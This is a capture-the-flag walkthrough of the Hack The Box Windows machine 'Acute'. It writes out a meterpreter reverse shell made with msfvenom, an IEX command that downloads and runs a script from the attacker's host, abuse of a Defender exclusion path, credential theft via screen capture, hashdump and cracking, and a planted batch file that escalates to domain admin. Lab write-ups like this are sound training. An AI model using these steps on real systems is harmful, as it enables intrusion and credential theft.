Hack-The-Box-walkthrough[acute]

introduce

OS: Windows
Difficulty: Hard
Points: 40
Release: 12 Feb 2022
IP: 10.10.11.145

  • my htb rank

Enumeration

NMAP

1
2
3
4
5
┌──(root💀kali)-[~/hackthebox/machine/acute]
└─# nmap -sV -v -p- --min-rate=10000 10.10.11.145
PORT STATE SERVICE VERSION
443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

We have only one TCP port and it gives us hostname. Let’s add it to our hosts file and access the web.

It looks like a healthcare website. Under ‘About Us’ you will get employee/user names as well as from right top corner you will get a document file ‘New Starter Forms’.

Download the document. It is a induction checklist for new employees.

From this document we will get couple crucial things.

1
2
3
IT overview

Arrange for the new starter to receive a demonstration on using IT tools which may include MUSE, myJob and Google accounts. Walk the new starter through the password change policy, they will need to change it from the default Password1!. Not all staff are changing these so please be sure to run through this.

The default password is Password1! and some staff members are still using the same password for their account. We have a PSWA (PowerShell WebAccess) session/configuration name dc_manage

1
2
3
4
5
6
7
8
9
Initial Probation Meeting (For Academic staff on Probation only)



Arrange initial probation meeting between Probationer, Head of Department and Probation Adviser.

Run through the new PSWA to highlight the restrictions set on the sessions named dc_manage.

The probation plan should be completed within a month of the start date and should include a requirement to register with LETs re: rate to gain within 3 months of starting. Fellowship of the Higher Education Academy (FHEA).

We also have link to PSWA https://atsserver.acute.local/Acute_Staff_Access

1
2
3
4
5
Induction meetings with management staff

Arrange for the new starter to meet with other staff in the department as appropriate. This could include the Head of Department and/or other members of the appointee’s team. Complete the https://atsserver.acute.local/Acute_Staff_Access training

Induction Coordinator

Now we can access the remote powershell via browser. Lastly, Lois user has highest privileges and she can change group membership of any user for group called site admin

1
**Lois is the only authorized personnel to change Group Membership, Contact Lois to have this approved and changed if required. Only Lois can become site admin. **

Now we have couple things in loot box, let’s access PSWA.

Se need username, password and computer name. So far we have employee names from website, we have default password. But we don’t have computer name.

If we run exiftool on this downloaded docx file, we will get remaining information.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
┌──(root💀kali)-[~/hackthebox/machine/acute]
└─# exiftool New_Starter_CheckList_v7.docx
ExifTool Version Number : 12.39
File Name : New_Starter_CheckList_v7.docx
Directory : .
File Size : 34 KiB
File Modification Date/Time : 2022:02:16 10:07:39-05:00
File Access Date/Time : 2022:02:16 10:09:02-05:00
File Inode Change Date/Time : 2022:02:16 10:08:07-05:00
File Permissions : -rw-r--r--
File Type : DOCX
File Type Extension : docx
MIME Type : application/vnd.openxmlformats-officedocument.wordprocessingml.document
Zip Required Version : 20
Zip Bit Flag : 0x0006
Zip Compression : Deflated
Zip Modify Date : 1980:01:01 00:00:00
Zip CRC : 0x079b7eb2
Zip Compressed Size : 428
Zip Uncompressed Size : 2527
Zip File Name : [Content_Types].xml
Creator : FCastle
Description : Created on Acute-PC01
Last Modified By : Daniel
Revision Number : 8
Last Printed : 2021:01:04 15:54:00Z
Create Date : 2021:12:08 14:21:00Z
Modify Date : 2021:12:22 00:39:00Z
Template : Normal.dotm
Total Edit Time : 2.6 hours
Pages : 3
Words : 886
Characters : 5055
Application : Microsoft Office Word
Doc Security : None
Lines : 42
Paragraphs : 11
Scale Crop : No
Heading Pairs : Title, 1
Titles Of Parts :
Company : University of Marvel
Links Up To Date : No
Characters With Spaces : 5930
Shared Doc : No
Hyperlinks Changed : No
App Version : 16.0000

From this metadata we got two things, computer name that is Acute-Pc01 from description and username format FCastle from Creator. Let’s login

1
2
3
username: EDavies
Password: Password1!
Computer Name: Acute-PC01

We have these employee names, we can save them in a format.

1
2
3
4
5
6
7
8
┌──(root💀kali)-[~/hackthebox/machine/acute]
└─# cat users.txt
edavies
chall
awallace
imonks
jmorgon
lhopkins

Out all these usernames, edavies worked with Password1! I believe this employee is still hasn’t changed the default password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
PS C:\Users\edavies\Documents> 

whoami /groups



GROUP INFORMATION

-----------------



Group Name Type SID Attributes



========================================== ================ ============ ==============================================

====

Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled g

roup

BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled g

roup

BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled g

roup

NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled g

roup

NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled g

roup

NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled g

roup

Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled g

roup

Mandatory Label\Medium Mandatory Level Label S-1-16-8192

We have edavies shell. If we run ipconfig /all then we’d get below info.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
PS C:\Users\edavies\Documents> 

ipconfig /all



Windows IP Configuration



Host Name . . . . . . . . . . . . : Acute-PC01

Primary Dns Suffix . . . . . . . : acute.local

Node Type . . . . . . . . . . . . : Hybrid

IP Routing Enabled. . . . . . . . : No

WINS Proxy Enabled. . . . . . . . : No

DNS Suffix Search List. . . . . . : acute.local



Ethernet adapter Ethernet 2:



Connection-specific DNS Suffix . :

Description . . . . . . . . . . . : Microsoft Hyper-V Network Adapter #2

Physical Address. . . . . . . . . : 00-15-5D-E8-0A-01

DHCP Enabled. . . . . . . . . . . : No

Autoconfiguration Enabled . . . . : Yes

Link-local IPv6 Address . . . . . : fe80::9513:4361:23ec:64fd%14(Preferred)

IPv4 Address. . . . . . . . . . . : 172.16.22.2(Preferred)

Subnet Mask . . . . . . . . . . . : 255.255.255.0

Default Gateway . . . . . . . . . : 172.16.22.1

DHCPv6 IAID . . . . . . . . . . . : 251663709

DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-29-29-1F-44-00-15-5D-E8-02-00

DNS Servers . . . . . . . . . . . : 172.16.22.1

NetBIOS over Tcpip. . . . . . . . : Enabled

As you can see, the IP address is different from machine IP. It looks like a container or virtual machine (hyper-v). We can ping the gateway IP address.

We can check foe open port on the gateway IP address.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
PS C:\Users\edavies\Documents> 

Test-NetConnection 172.16.22.1 -port 445





ComputerName : 172.16.22.1

RemoteAddress : 172.16.22.1

RemotePort : 445

InterfaceAlias :

SourceAddress :

TcpTestSucceeded : True

As you can see, port 445 is open. We can run powershell script to get to know open ports on gateway IP address.

  • Minimalistic-offensive-security-tools
1
2
3
python2 -m SimpleHTTPServer 80

IEX(New-Object Net.Webclient).downloadstring('http://10.10.14.30/port-scan-tcp.ps1')

IEX will download and execute the script. If you try to download it and execute manually using curl or method then it will not work. Now run below command to start finding open ports on that IP address.

1
1..1024 | foreach { port-scan-tcp 172.16.22.1 $_ } > ports_open_gateway

After couple minutes we can check the open ports dumped into that file.

1
Get-Content .\ports_open_gateway

Looks like this IP is Domain Controller, as it is running Kerberos and LDAP. Let’s get a real shell by uploading our reverse shell executable. If we try to run executable from either home directory or programdata, it gives us error message.

1
2
3
4
5
6
7
8
┌──(root💀kali)-[~/hackthebox/machine/acute]
└─# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.30 LPORT=9001 -f exe -o reverse.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: reverse.exe

Antivirus is running, probably defender. So, we can query the registry to find whitelisted paths.

1
2
3
4
5
6
7
8
9
10
11
PS C:\Users\edavies\Documents> 

reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths"



HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths

C:\Utils REG_DWORD 0x0

C:\Windows\System32 REG_DWORD 0x0

As you can see, there are two folders which are whitelisted. We can use ‘utils’ directory to execute our payloads. Let’s download our executable there and run it.

1
2
curl 10.10.14.30/reverse.exe -o reverse.exe
.\reverse.exe
1
2
3
4
5
6
7
8
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.10.14.30:9001
[*] Sending stage (200262 bytes) to 10.10.11.145
[*] Meterpreter session 1 opened (10.10.14.30:9001 -> 10.10.11.145:49778 ) at 2022-02-16 12:14:39 -0500

meterpreter > getuid
Server username: ACUTE\edavies

Alright, we have working shell now. Let’s switch to powershell and enumerate.

1
2
3
4
PS C:\utils> net user edavies /domain
The request will be processed at a domain controller for domain acute.local.
System error 1722 has occurred.
The RPC server is unavailable.

If we try to query the domain, we’d get this above error. So, we can’t query domain for anything. Let’s run ‘WinPeas’ application and find LPE paths.

1
2
3
4
RDP Sessions
SessID pSessionName pUserName pDomainName State
SourceIP
1 Console edavies ACUTE Active

WinPeas gives us this information. RDP session is running on the machine and logged in as ‘Edavies’ user. If it is RDP then its GUI not cmd line. We have to see what’s happening on the box.

We have access ‘edavies’ user. Now we can check what’s happening on that RDP.

1
2
3
4
meterpreter > screenshare -q 100
[*] Preparing player...
[*] Opening player at: /root/hackthebox/machine/acute/TPORyMMW.html
[*] Streaming...

It started streaming the GUI. We need to access it via browser by visiting that player path.

After waiting for couple minutes, a powershell window pops up and starts running powershell commands.

1
screenshare -q 100 -d 5000

As you can see based on executing commands, it is trying to start a new powershell session with an user (imonks) password and it is also using a configuration to access the session.

1
2
3
$pass = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlaintext -Force
$cred = New-Object System.Management.Automation.PSCredential ("acute\imonks", $pass)
Enter-PSSession -computername ATSSERVER -ConfigurationName dc_manage -credential $cred

The above command is being executed. We could have used that password to login via RDP, but RDP is not enabled on main host (not hyper-v). We have to use this technique only.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PS C:\utils> $pass = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlaintext -Force
PS C:\utils> $cred = New-Object System.Management.Automation.PSCredential
("acute\imonks", $pass)
PS C:\utils> Enter-PSSession -computername ATSSERVER -ConfigurationName dc_manage -
credential $cred
Enter-PSSession : The term 'Measure-Object' is not recognized as the name of a cmdlet,
function, script file, or
operable program. Check the spelling of the name, or if a path was included, verify
that the path is correct and try
again.
At line:1 char:1
+ Enter-PSSession -computername ATSSERVER -ConfigurationName dc_manage ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (Measure-Object:String) [Enter-
PSSession], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

As you can see it is giving us the same error as RDP screenshot. It’s not able to find ‘Measure-Object’ cmdlet is not recognized by the powershell.

1
2
PS C:\utils> get-command | select-string 'Measure-Object'
Measure-Object

It is available to ‘Edavie’ user but not to ‘imonks’ user. However, the credentials are not wrong. We can try to invoke-command to execute windows commands.

1
2
3
PS C:\utils> Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -
credential $cred -command {whoami}
acute\imonks

As you can see, we can able to run windows commands from ‘imonks’ context. We can read user flag via this technique.

Let’s go one step back and read the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PS C:\Users\edavies\Documents> 

$SecPassword = ConvertTo-SecureString 'W3_4R3_th3_f0rce.' -AsPlainText -Force

PS C:\Users\edavies\Documents>

$Cred = New-Object System.Management.Automation.PSCredential('acute\imonks', $SecPassword)

PS C:\Users\edavies\Documents>

Invoke-Command atsserver -ConfigurationName dc_manage -Credential $Cred -scriptblock { cat c:\users\imonks\Desktop\user

.txt }

664cb31a110ae58cc8cc164846f951c8

From ‘imon’ users context we can only run these below powershell commands.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
PS C:\Users\edavies\Documents> 

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command {get-command}



CommandType Name Version Source PSComputerName

----------- ---- ------- ------ --------------

Cmdlet Get-Alias 3.1.0.0 Microsoft.PowerSh... ATSSERVER

Cmdlet Get-ChildItem 3.1.0.0 Microsoft.PowerSh... ATSSERVER

Cmdlet Get-Command 3.0.0.0 Microsoft.PowerSh... ATSSERVER

Cmdlet Get-Content 3.1.0.0 Microsoft.PowerSh... ATSSERVER

Cmdlet Get-Location 3.1.0.0 Microsoft.PowerSh... ATSSERVER

Cmdlet Set-Content 3.1.0.0 Microsoft.PowerSh... ATSSERVER

Cmdlet Set-Location 3.1.0.0 Microsoft.PowerSh... ATSSERVER

Cmdlet Write-Output 3.1.0.0 Microsoft.PowerSh... ATSSERVER

Let’s query domain to get more info on ‘imonks’ user.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
PS C:\Users\edavies\Documents> 

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -ScriptBlock {net user imonks /do

main}

User name imonks

Full Name Ieuan Monks

Comment

User's comment

Country/region code 000 (System Default)

Account active Yes

Account expires Never



Password last set 21/12/2021 14:51:31

Password expires Never

Password changeable 22/12/2021 14:51:31

Password required Yes

User may change password No



Workstations allowed All

Logon script

User profile

Home directory

Last logon 16/02/2022 17:47:45



Logon hours allowed All



Local Group Memberships

Global Group memberships *Domain Users *Managers

The command completed successfully.

‘imonks’ user is member of ‘Manger’ group. Let’s find who else is member of manager group.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
PS C:\Users\edavies\Documents> 

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -ScriptBlock {net user awallace /

domain}

User name awallace

Full Name Aileen Wallace

Comment

User's comment

Country/region code 000 (System Default)

Account active Yes

Account expires Never



Password last set 21/12/2021 14:50:36

Password expires Never

Password changeable 22/12/2021 14:50:36

Password required Yes

User may change password No



Workstations allowed All

Logon script

User profile

Home directory

Last logon 23/12/2021 09:15:29



Logon hours allowed All



Local Group Memberships

Global Group memberships *Domain Users *Managers

The command completed successfully.

User ‘awallace’ is member of manager group. To enumerate AD we need imonks shell access. We can’t execute any useful commands which can help to us to run our executable files.

Let’s look for any files on the server.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
PS C:\Users\edavies\Documents> 

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command {ls 'c:\program files'}





Directory: C:\program files





Mode LastWriteTime Length Name PSComputerName

---- ------------- ------ ---- --------------

d----- 12/21/2021 12:04 AM common files ATSSERVER

d----- 12/21/2021 12:11 AM Hyper-V ATSSERVER

d----- 9/15/2018 8:12 AM internet explorer ATSSERVER

d----- 2/1/2022 7:41 PM keepmeon ATSSERVER

d----- 12/21/2021 12:04 AM VMware ATSSERVER

d----- 12/20/2021 9:19 PM Windows Defender ATSSERVER

d----- 12/20/2021 9:12 PM Windows Defender Advanced Threat ATSSERVER

Protection

d----- 12/21/2021 2:13 PM WindowsPowerShell ATSSERVER

On C drive, we have an unusual file, let’s try to access it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PS C:\Users\edavies\Documents> 

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command {ls 'c:\program files\ke

epmeon'}

Access to the path 'C:\program files\keepmeon' is denied.

+ CategoryInfo : PermissionDenied: (C:\program files\keepmeon:String) [Get-ChildItem], UnauthorizedAccess

Exception

+ FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand

+ PSComputerName : ATSSERVER

Access denied. If we check the ‘imonks’ desktop, we will find a powershell script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PS C:\Users\edavies\Documents> 

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -ScriptBlock {ls ../desktop}





Directory: C:\Users\imonks\desktop





Mode LastWriteTime Length Name PSComputerName

---- ------------- ------ ---- --------------

-ar--- 2/16/2022 5:40 PM 34 user.txt ATSSERVER

-a---- 1/11/2022 6:04 PM 602 wm.ps1 ATSSERVER

Let’s read the contents of that script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
PS C:\Users\edavies\Documents> 

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -ScriptBlock {cat ../desktop/wm.p

s1}

$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003

660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f672

80000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a

2ca854bc6e453c51'

$passwd = $securepasswd | ConvertTo-SecureString

$creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd)

Invoke-Command -ScriptBlock {Get-Volume} -ComputerName Acute-PC01 -Credential $creds

If we execute this script, then it sets a secure password, and execute ‘Get-Volume’ from ‘jmorgan’ users context. We have to edit it script and modify the invoke command.

1
Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -ScriptBlock{((cat "c:\users\imonks\Desktop\wm.ps1" -Raw) -replace 'Get-Volume','cmd.exe /c c:\utils\reverse.exe') | set-content -path c:\users\imonks\Desktop\wm.ps1} -credential $cred

This command will replace the Get-Volume string with cmd.exe /c c:\utils\msf.exe We already have reverse.exe in utils directory. So upon execution we get the reverse connection on metasploit. Let’s read the contents of file to make sure our cmd is good to go.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
PS C:\utils> 

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -ScriptBlock{cat c:\users\imonks\

Desktop\wm.ps1}

$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003

660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f672

80000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a

2ca854bc6e453c51'

$passwd = $securepasswd | ConvertTo-SecureString

$creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd)

Invoke-Command -ScriptBlock {cmd.exe /c c:\utils\reverse.exe} -ComputerName Acute-PC01 -Credential $creds

Everything looks good. Now setup a msf listener and run the below cmd to execute the script.

1
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock{C:\Users\imonks\Desktop\wm.ps1}

Now check the msf listener for reverse connection.

1
2
3
4
5
6
7
8
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.10.14.30:9001
[*] Sending stage (200262 bytes) to 10.10.11.145
[*] Meterpreter session 1 opened (10.10.14.30:9001 -> 10.10.11.145:49781 ) at 2022-02-16 13:04:30 -0500

meterpreter > getuid
Server username: ACUTE\jmorgan

We are ‘jmorgan’ now. Let’s enumerate now this user.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
C:\Users\jmorgan\Documents>whoami /groups
whoami /groups

GROUP INFORMATION
-----------------

Group Name Type SID Attributes
========================================== ================ ============ ===============================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288

‘jmorgan’ is member of Administrator. We can just elevate our privs to system.

1
2
3
4
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

We may have pwned the admin, but it is not the actual host, but Hyper-V. You can confirm by running ipconfig.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
meterpreter > ifconfig

Interface 1
============
Name : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 14
============
Name : Microsoft Hyper-V Network Adapter #2
Hardware MAC : 00:15:5d:e8:0a:01
MTU : 1500
IPv4 Address : 172.16.22.2
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::9513:4361:23ec:64fd
IPv6 Netmask : ffff:ffff:ffff:ffff::

Dump the hash.

1
2
3
4
5
6
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a29f7623fd11550def0192de9246f46b:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Natasha:1001:aad3b435b51404eeaad3b435b51404ee:29ab86c5c4d2aab957763e5c1720486d:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:24571eab88ac0e2dcef127b8e9ad4740:::

Crack the hash.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
hashcat.exe -m 1000 password.txt rockyou.txt

a29f7623fd11550def0192de9246f46b:Password@123

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1000 (NTLM)
Hash.Target......: a29f7623fd11550def0192de9246f46b
Time.Started.....: Thu Feb 17 02:09:30 2022 (1 sec)
Time.Estimated...: Thu Feb 17 02:09:31 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 59379.6 kH/s (4.14ms) @ Accel:2048 Loops:1 Thr:32 Vec:1
Speed.#3.........: 7827.3 kH/s (14.12ms) @ Accel:128 Loops:1 Thr:64 Vec:1
Speed.#*.........: 67206.9 kH/s
Recovered........: 1/1 (100.00%) Digests
Progress.........: 3407872/14344385 (23.76%)
Rejected.........: 0/3407872 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Restore.Sub.#3...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: rebel91 -> tabbarano666
Candidates.#3....: tabbamarie -> sn78726
Hardware.Mon.#1..: Temp: 57c Util: 37% Core: 571MHz Mem:2304MHz Bus:8
Hardware.Mon.#3..: N/A

Started: Thu Feb 17 02:09:11 2022
Stopped: Thu Feb 17 02:09:32 2022

We got the password. For a hard machine this password is quite weak. I tried to use this password to get hold of ATSSERVER (host), but can’t able to do that. However, we still have access ‘edavies’ shell. We can try to run commands from a different users perspective. Previously we queried the domain to find member of manager group, there was one user awallace , let’s try to use this password from this users context.

Make sure you are running the next command from ‘edavies’ user shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PS C:\utils> whoami
acute\edavies
PS C:\Users\edavies\Documents>

$password = ConvertTo-SecureString "Password@123" -AsPlainText -Force

PS C:\Users\edavies\Documents>

$cred = New-Object System.Management.Automation.PSCredential("Acute\AWallace",$password)

PS C:\Users\edavies\Documents>

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -Command {whoami}

acute\awallace

It worked, now we can run commands from awallace user’s context. There’s nothing much available on user directory, however, previously we checked some weird directory in C drive, let’s see if we can access that with this users permission.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PS C:\Users\edavies\Documents> 

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -Command {ls 'c:\program files\ke

epmeon'}





Directory: C:\program files\keepmeon





Mode LastWriteTime Length Name PSComputerName

---- ------------- ------ ---- --------------

-a---- 12/21/2021 2:57 PM 128 keepmeon.bat ATSSERVER

We can access this directory. Lets read that batch file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PS C:\Users\edavies\Documents> 

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -Command {cat 'c:\program files\k

eepmeon\keepmeon.bat'}

REM This is run every 5 minutes. For Lois use ONLY

@echo off

for /R %%x in (*.bat) do (

if not "%%x" == "%~0" call "%%x"

)

This looks like a schedule script, it runs this batch file every five minutes and checks for any .bat files in the parent directory and if there’s a .bat file then it executes it. The main thing/information is that the script is for only lois user and we already know that, lois is the only user who can change group membership. This is from DOCX file.

So, we can create a batch file which gives ‘awallace’ user administrator privileges of ‘site admin’ group.

1
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock {Set-Content -Path 'c:\program files\Keepmeon\admin.bat' -Value 'net group site_admin awallace /add /domain'}

Check file has been created or not.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
PS C:\Users\edavies\Documents> 

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock {ls 'c:\program file

s\Keepmeon\'}





Directory: C:\program files\Keepmeon





Mode LastWriteTime Length Name PSComputerName

---- ------------- ------ ---- --------------

-a---- 2/16/2022 6:17 PM 44 admin.bat ATSSERVER

-a---- 12/21/2021 2:57 PM 128 keepmeon.bat ATSSERVER

Check the contents of file too.

1
2
3
4
5
6
7
PS C:\Users\edavies\Documents> 

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock {cat 'c:\program fil

es\Keepmeon\admin.bat'}

net group site_admin awallace /add /domain

Now we need to wait for five minutes to run that schedule job to execute our batch file. Check the whether you added to site_admin group or not.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
PS C:\Users\edavies\Documents> 

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -Command {whoami /groups}



GROUP INFORMATION

-----------------



Group Name Type SID Attributes



============================================ ================ ============================================== ==========

=====================================================

Everyone Well-known group S-1-1-0 Mandatory

group, Enabled by default, Enabled group

BUILTIN\Users Alias S-1-5-32-545 Mandatory

group, Enabled by default, Enabled group

BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory

group, Enabled by default, Enabled group

BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory

group, Enabled by default, Enabled group

BUILTIN\Administrators Alias S-1-5-32-544 Mandatory

group, Enabled by default, Enabled group, Group owner

NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory

group, Enabled by default, Enabled group

NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory

group, Enabled by default, Enabled group

NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory

group, Enabled by default, Enabled group

ACUTE\Domain Admins Group S-1-5-21-1786406921-1914792807-2072761762-512 Mandatory

group, Enabled by default, Enabled group

ACUTE\Managers Group S-1-5-21-1786406921-1914792807-2072761762-1111 Mandatory

group, Enabled by default, Enabled group

ACUTE\Site_Admin Group S-1-5-21-1786406921-1914792807-2072761762-2102 Mandatory

group, Enabled by default, Enabled group

Authentication authority asserted identity Well-known group S-1-18-1 Mandatory

group, Enabled by default, Enabled group

ACUTE\Denied RODC Password Replication Group Alias S-1-5-21-1786406921-1914792807-2072761762-572 Mandatory

group, Enabled by default, Enabled group, Local Group

Mandatory Label\High Mandatory Level Label S-1-16-12288

We are domain admin now. Let’s read the final flag from administrators directory.

1
2
3
4
5
6
7
PS C:\Users\edavies\Documents> 

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock {cat 'c:\users\admin

istrator\desktop\root.txt'}

b26f815db56b906b843f44f5b0b80555

Summary of knowledge

  • information gathering by using exiftool
  • windows powershell user privileage enum
  • powershell port scan using port-scan-tcp.ps1
  • msf get screen shots
  • invoke-command to execute windows commands
  • msf getsystem
  • hashcat crack ntlm hash
  • add user to domain group to privesc

Contact me

  • QQ: 1185151867
  • twitter: https://twitter.com/fdlucifer11
  • github: https://github.com/FDlucifer

I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…